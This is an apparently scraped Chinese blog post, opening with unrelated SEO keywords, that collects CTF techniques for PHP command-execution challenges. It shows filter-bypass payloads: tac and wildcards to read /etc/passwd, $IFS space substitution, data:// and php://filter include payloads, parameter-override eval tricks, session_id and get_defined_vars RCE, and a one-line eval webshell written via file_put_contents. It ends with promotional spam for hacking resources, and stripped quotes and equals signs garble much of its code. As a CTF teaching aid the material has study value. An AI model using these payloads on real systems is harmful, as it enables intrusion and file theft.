设计网站哪个好用,电子商务网站购物流程图,全球速卖通企业类型,品质网站建设目录
一、关键字绕过
1、cat限制绕过
2、$限制绕过
3、点号限制绕过(2023.1.4)
4、空格限制绕过
5、php限制绕过
二、另类变形写法
1、eval双重参数覆盖(2022.12.31)
2、include双重参数覆盖(2023.1.3)
3、闭合双重参数绕过(2023.1.5)
4、data伪协议配合include函数…目录一、关键字绕过1、cat限制绕过2、$限制绕过3、点号限制绕过(2023.1.4)4、空格限制绕过5、php限制绕过二、另类变形写法1、eval双重参数覆盖(2022.12.31)2、include双重参数覆盖(2023.1.3)3、闭合双重参数绕过(2023.1.5)4、data伪协议配合include函数命令执行三、奇淫巧技思路1、另类种马思路(2023.1.3)2、highlight_file高级显示(2023.1.4)3、字符串匹配(2023.1.4)4、get_defined_vars()高级显示5、session_start()配合session_id()命令执行四、常见操作1、通配符匹配(2023.1.4)2、连接符绕过(2023.1.4)命令执行也是ctf题型中比较常见的这这些天ctf的训练中我也学到了很多新姿势就想着写个博客记录一下希望也能对大家解这类型的题提供帮助和思路因为我还在不停的练习ctf所以会不断记录一些新奇的解题姿势也就是这篇博客会持续更新建议点赞关注一、关键字绕过1、cat限制绕过在真实环境的命令执行漏洞的过滤中cat命令一直是防范的重点那cat命令被写死无法绕过的时候就可以试试这个命令——tac可能很多小伙伴没听过过这个命令其实这个命令功能跟cat命令差不多看下面这个图你应该就明白了,这两个命令效果差不多cat exp.py tac exp.py怎么样这下清楚了吗cat是从上往下查看tac就是从下往上就查看而已但是tac命令知道的人少所以很多都没有对tac命令进行一个过滤所以cat命令被过滤时就可以尝试使用tac命令顺带提一嘴当cat和echo这些被过滤得很严重时可以用cp命令把flag文件复制为txt文件直接浏览器访问这也是一种很好的方法2、$限制绕过命令和$(命令)都是执行命令的方式反引号是命令替换命令替换是指Shell可以先执行中的命令将输出结果暂时保存在适当的地方输出。语法:command实例如下可以看到同样的系统命令使用这两种方法都能执行,下面这两个命令的效果就相同echo $(ifconfig); echo ifconfig;跟上面的tac是一个道理$(命令)的方法被大多数人熟知一般都存在过滤而命令的方法相对来说被过滤的可能性就低了许多3、点号限制绕过(2023.1.4)这个就是当点号(.)被过滤时使用也没啥好讲的就是用下面这个替换就可以了pos(localeconv())localeconv() 函数返回一包含本地数字及货币格式信息的数组。其中第一位就是点号pos()函数就是取数组的第一位元素并返回所以就得到了点号4、空格限制绕过这个也没啥好讲的下面这两种任意一种都能够达到空格的效果%09 $IFS$9以上两种任选一种替换空格都可以5、php限制绕过php的限制一般是用于防止后缀和嵌套php文件后缀的话一般就用通配符就可以绕过了限制嵌套php文件的话若对传入的c进行php的过滤那该怎么绕过呢例如原有这样一个语句?cdata://text/plain,?php system(cat flag.*hp);?那就可以用如下语句代替?cdata://text/plain,? system(cat flag.*hp);?即等于号可以代替php文件标识处的php可以看到这样仍能执行二、另类变形写法1、eval双重参数覆盖(2022.12.31)就是将eval()函数的参数的值用另外一个参数传入例如,这两句话效果是相同的ceval(phpinfo()); ceval($_GET[1]);1system(phpinfo());都能达到显示phpinfo的目的如下这个还是很有用的用的也比较多2、include双重参数覆盖(2023.1.3)上面的eval()函数也可以换成include()并且include可以不要括号但是得配合伪协议中的php://filter来使用如下cinclude($_GET[1])?1php://filter/readconvert.base64-encode/resourceflag.php或者加上括号也可以如下cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php这就是经过base64编码后的flag.php的内容注意这里的第二个参数也就是要覆盖的参数如上面的1的值不仅仅只能是php的filter的伪协议还可以使用其他的伪协议例如data伪协议如下cinclude$_GET[a]?adata://text/plain,?php system(cat flag.php);?3、闭合双重参数绕过(2023.1.5)这个也用的非常多在ctf题中一般就是让你传入一个值对这个值进行大量的过滤和限制让你绕过,此时我们传入这个参数但同时在值中引用其他变量并直接构造闭合如下url/?ceval($_GET[a]);此时过滤手段就会对c变量进行过滤和限制但c我们其实没有太多敏感字符此时我们再构造如下代码url/?ceval($_GET[a]);asystem(cat flag.php);这样后面的a的内容就不能被检测出来很多同学一看诶这和上面的思路有什么区别吗自然是有的上面我们只闭合了一次再来看看这段代码c??include$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php可以看到这个姿势就更厉害了c根本没有内容那自然就不存在被过滤限制的情况还能达到通过include检测文件的功能岂不美哉4、data伪协议配合include函数命令执行来看一个很熟悉的函数include(filename)这里要将的方法就是include()函数其实是可以导致命令执行的那就是配合data协议当然也是有限制的限制的就是php.ini里面的allow_url_fopen和allow_url_include均为开启状态例如现在有一环境需要我们传入c变量传入的c将作为include函数的参数被执行使用手法大概有如下三种1、正常形式 ?cdata://text/plain;base64,?php system(cat flag.php);? 2、编码形式 ?cdata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg 3、url形式 ?cdata://text/plain,%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%61%74%20%66%6c%61%67%2e%70%68%70%27%29%3b%3f%3e第一种是正常形式但是开发者一般都对传入的参数有限制特别是ctf题目所以用处不大用的最多的还是第二种编码一般就能把过滤给绕过了第三种主打的就是一个出其不意算是冷门招数将后面我们要执行的语句全部换为url编码也可以执行三、奇淫巧技思路1、另类种马思路(2023.1.3)这个方法怎么说呢有点另辟蹊径的感觉大多数ctf题的命令执行都是对一些系统函数进行绕过并没有限制写入文件什么的所以可以直接利用file_put_content()函数或者其他的写入文件的函数直接写一句话木马然后连接一样能看到flag如下file_put_contents(abc.php, ?php eval($_POST[cmd]); ?);但有些出题人也会把权限写死所以这种方法还是比较看运气的2、highlight_file高级显示(2023.1.4)这种方式就比较高级了我们模拟一个需要以GET方式传入c并会执行eval©的代码同时在该目录下存在flag.php和index.php现在要求通过传入c变量来读取flag.php的内容那下面这个方式传参就能达到目的如下?chighlight_file(next(array_reverse(scandir(.))));可能有些小伙伴连这段代码中的函数都不认识这里先给大家介绍一下scandir()是PHP中的一个函数它可以用于扫描目录中的文件。它接受一个目录的路径作为参数并返回该目录中文件的名称列表。当你将 “.” 作为参数传递给 时它将返回当前目录中的文件的名称列表。例如如果当前目录中有文件 “file1.txt” 和“file2.txt”那么 将返回数组 。scandir()scandir(.)[file1.txt, file2.txt]array_reverse()是PHP 中的一个函数它可以将数组中的元素反转并返回反转后的数组。next()PHP 中的一个函数它用于将数组的内部指针向后移动一个单位。它返回数组中当前指针位置的下一个元素的值。highlight_file() PHP 中的一个函数它可以将文件的源代码转换为HTML其中的语法高亮显示。这对于展示文件的源代码或调试代码非常有用。再来看看这条命令?chighlight_file(next(array_reverse(scandir(.))));scandir(“.”)读取了当前文件夹的全部文件并返回以文件名作为元素的数组array_reverse(scandir(“.”))将结果字符串倒向此时数组第一个元素是当前文件夹下最后一个文件,以此类推next(array_reverse(scandir(“.”)))将内部指针向后移一位内部指针最初执行第一位元素现在指向第二位元素也就是倒数第二个文件highlight_file(next(array_reverse(scandir(“.”))))此时highlight_file()的参数就是当前文件夹目录下倒数第二个文件名所以就会把这个文件的内容高亮处理并显示在浏览器上因为我们的环境当前目录下只有两个文件第一个是flag.php,第二个是index.php所以此时浏览器上显示的就是flag.php的内容大家理解了吗有很多同学会问这里只有两个文件为什么要转向再用next()取到倒数第二个文件名也就是第一个文件而不是直接使用第一个文件名即highlight_file(scandir(“.”)),那是因为这样会报错当然具体的原因我暂时还不清楚后面会了解后再来修改这里同时在在这里也给大家介绍一个新的函数——reset()reset()函数的作用就是将数组内部指针重新移动到第一个元素跟next()函数换着用就可以。同时还有show_source()函数该函数和highlight_file()函数功能差不多被过滤时也可以替换为这个试试。ctf题一般当前目录下放着就是两三个文件所以还是很实用的3、字符串匹配(2023.1.4)环境和上面一样传入的c会被eval执行要求读取到flag.php的内容这个就是利用grep进行字符串匹配绕过姿势如下csystem(cat fl*g.php | grep -E fl.g );具体来说它会使用系统的 “cat” 命令来输出文件名以 “fl” 开头且以 “g.php” 结尾的文件内容并使用 “grep”命令过滤掉不包含 “fl.g” 的行。最后这个命令的输出会被赋值给变量 $c。4、get_defined_vars()高级显示这里假设的环境还是传入一个c变量c变量会作为eval()函数的参数被执行这里的高级用法涉及的函数如下get_defined_vars()返回一个包含所有已定义变量列表的多维数组这些变量包括环境变量、服务器变量和用户定义的变量。**array_pop() **是删除并返回数组最后一个元素。current()返回数组中的当前元素的值。next()返回数组中的下一个元素的值。由于get_defined_vars()返回的是一个多维数组我们用current()可以获取到GET数组用next()可以获取到POST数组然后用array_pop()取出POST数组里面的最后一个元素再用eval执行就可以造成命令执行先用get方式传入一个c变量值如下url/?ceval(array_pop(next(get_defined_vars())));再用POST方式以cmd传入我们的恶意命令例如系统命令cmdsystem(ls);也可以传入phpinfo()之类的函数效果如下5、session_start()配合session_id()命令执行这里的模拟环境也是传入一个c变量绕过一些限制后作为eval的参数执行则有如下两种方式可造成命令执行第一种get传参如下csession_start();system(session_id());先来看看其中的函数session_start()函数用于创建一个新会话session_id()函数用于获取当前会话即cookiesystem函数用于执行系统命令此时传入的cookie就会被作为system函数的参数造成命令执行传入的cookie可以通过burp抓包修改或者f12中直接修改如下效果如下可以看到已经成功执行了我们的ls命令同时这里cookie的值因为是被session_id()函数取出来的session_id()函数并不能识别空格但是这里也支持base64编码和写入小马所以还是很好用的但这种方法也有一个很大的弊端那就是受php版本影响只有5.5 -7.1.9可以执行因为session_id规定为0-9a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容但是符合规定的还是可以的比如我们这里的ls命令那当然base64编码后可能就不行了这是需要注意的第二种get传参如下cshow_source(session_id(session_start()));show_source()函数对文件进行语法高亮显示。那此时cookie的值就会作为show_source()函数的参数被show_source()函数读取并显示在浏览器上如下这里的show_source()可以换成highlight_file(),两个效果一样但需要注意的是这种方法同样都有php版本限制因为使用了session_id()获取了cookie的值四、常见操作1、通配符匹配(2023.1.4)常见的通配符如下符号|含义—|—|匹配单个字符如果匹配多个字符就需要多个?连用|*代表任意数量的字符[ ]|代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符 可能是 a, b, c, d 这四个任何一个例如一个常用的读取密码命令如下cat /etc/passwd使用了通配符之后他就可能有很多种变化比如这两种而这些亲测都是可以使用的cat /?tc/?as?wd cat /*tc/*as*wd这里需要注意的也是一样不要局限自己的思维几种通配符也是可以搭配使用的2、连接符绕过(2023.1.4)单引号‘’双引号“”反斜杠如cat /etc/passwd文章来自网上侵权请联系博主互动话题如果你想学习更多网安方面的知识和工具可以看看以下题外话题外话黑客/网络安全学习路线今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。网络安全学习资源分享:下面给大家分享一份2025最新版的网络安全学习路线资料帮助新人小白更系统、更快速的学习黑客技术一、2025最新网络安全学习路线一个明确的学习路线可以帮助新人了解从哪里开始按照什么顺序学习以及需要掌握哪些知识点。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。读者福利 |CSDN大礼包《网络安全入门进阶学习资源包》免费分享安全链接放心点击我们把学习路线分成L1到L4四个阶段一步步带你从入门到进阶从理论到实战。L1级别:网络安全的基础入门L1阶段我们会去了解计算机网络的基础知识以及网络安全在行业的应用和分析学习理解安全基础的核心原理关键技术以及PHP编程基础通过证书考试可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。L2级别网络安全的技术进阶L2阶段我们会去学习渗透测试包括情报收集、弱口令与口令爆破以及各大类型漏洞还有漏洞挖掘和安全检查项目可参加CISP-PTE证书考试。L3级别网络安全的高阶提升L3阶段我们会去学习反序列漏洞、RCE漏洞也会学习到内网渗透实战、靶场实战和技术提取技术系统学习Python编程和实战。参加CISP-PTE考试。L4级别网络安全的项目实战L4阶段我们会更加深入进行实战训练包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握而L3 L4更多的是通过项目实战来掌握核心技术针对以上网安的学习路线我们也整理了对应的学习视频教程和配套的学习资料。二、技术文档和经典PDF书籍书籍和学习文档资料是学习网络安全过程中必不可少的我自己整理技术文档包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点电子书也有200多本书籍含电子版PDF三、网络安全视频教程对于很多自学或者没有基础的同学来说书籍这些纯文字类的学习教材会觉得比较晦涩难以理解因此我们提供了丰富的网安视频教程以动态、形象的方式展示技术概念帮助你更快、更轻松地掌握核心知识。网上虽然也有很多的学习资源但基本上都残缺不全的这是我自己录的网安视频教程上面路线图的每一个知识点我都有配套的视频讲解。四、网络安全护网行动/CTF比赛学以致用当你的理论知识积累到一定程度就需要通过项目实战在实际操作中检验和巩固你所学到的知识同时为你找工作和职业发展打下坚实的基础。五、网络安全工具包、面试题和源码“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等感兴趣的同学不容错过。面试不仅是技术的较量更需要充分的准备。在你已经掌握了技术之后就需要开始准备面试我们将提供精心整理的网安面试题库涵盖当前面试中可能遇到的各种技术问题让你在面试中游刃有余。如果你是要找网安方面的工作它们绝对能帮你大忙。这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的如果大家有好的题目或者好的见解欢迎分享。参考解析深信服官网、奇安信官网、Freebuf、csdn等内容特点条理清晰含图像化表示更加易懂。内容概要包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…**读者福利 |**CSDN大礼包《网络安全入门进阶学习资源包》免费分享安全链接放心点击